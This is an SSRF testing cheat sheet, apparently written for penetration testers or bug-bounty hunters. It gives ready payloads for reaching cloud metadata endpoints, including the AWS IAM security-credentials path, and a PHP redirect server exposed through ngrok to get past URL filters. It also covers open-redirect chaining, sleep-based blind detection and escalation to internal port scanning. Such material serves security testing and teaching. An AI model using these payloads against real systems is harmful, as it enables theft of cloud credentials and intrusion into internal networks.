SSRF Testing

Server-Side Request Forgery: trick the server into making requests to internal/cloud resources.

Where to Look

Features that take a URL parameter – API consoles, webhooks, developer tools
Import from URL features
PDF/screenshot generators
Anything that fetches a remote resource on your behalf

Common Vulnerable Parameters

dest, url, uri, path, document, folder, root, pg, style, pdf,
template, php_path, doc, redirect, return, window

Targets to Hit

http://169.254.169.254/latest/meta-data/          # AWS metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/
http://localhost/
http://127.0.0.1/
http://[::1]/

Redirect-Based Bypass

Host a PHP redirect server locally and expose via ngrok:

<?php header("Location: ".$_GET['url']); ?>

php -S 0.0.0.0:8080
ngrok http 8080

The target's filter may only validate the input URL, not the final redirect destination. Submit your ngrok URL and redirect to http://169.254.169.254/.

Chain with Open Redirects

If the target has an open redirect at /redirect?goto=, use it as the SSRF payload:

https://target.com/fetch?url=https://target.com/redirect?goto=http://169.254.169.254/

The server fetches its own open redirect, which bounces to the internal resource.

Timing Detection

When you can't see the response, use a sleep-redirect to confirm SSRF:

<?php sleep(10); header("Location: http://169.254.169.254/"); ?>

A 10-second delay in the response confirms the server is following redirects to your controlled endpoint.

Escalation

AWS metadata IAM credentials = AWS API access
Internal admin panels via localhost
Port scanning internal network
Cloud metadata = pivot into cloud infrastructure

Cybersecurity

Table of Contents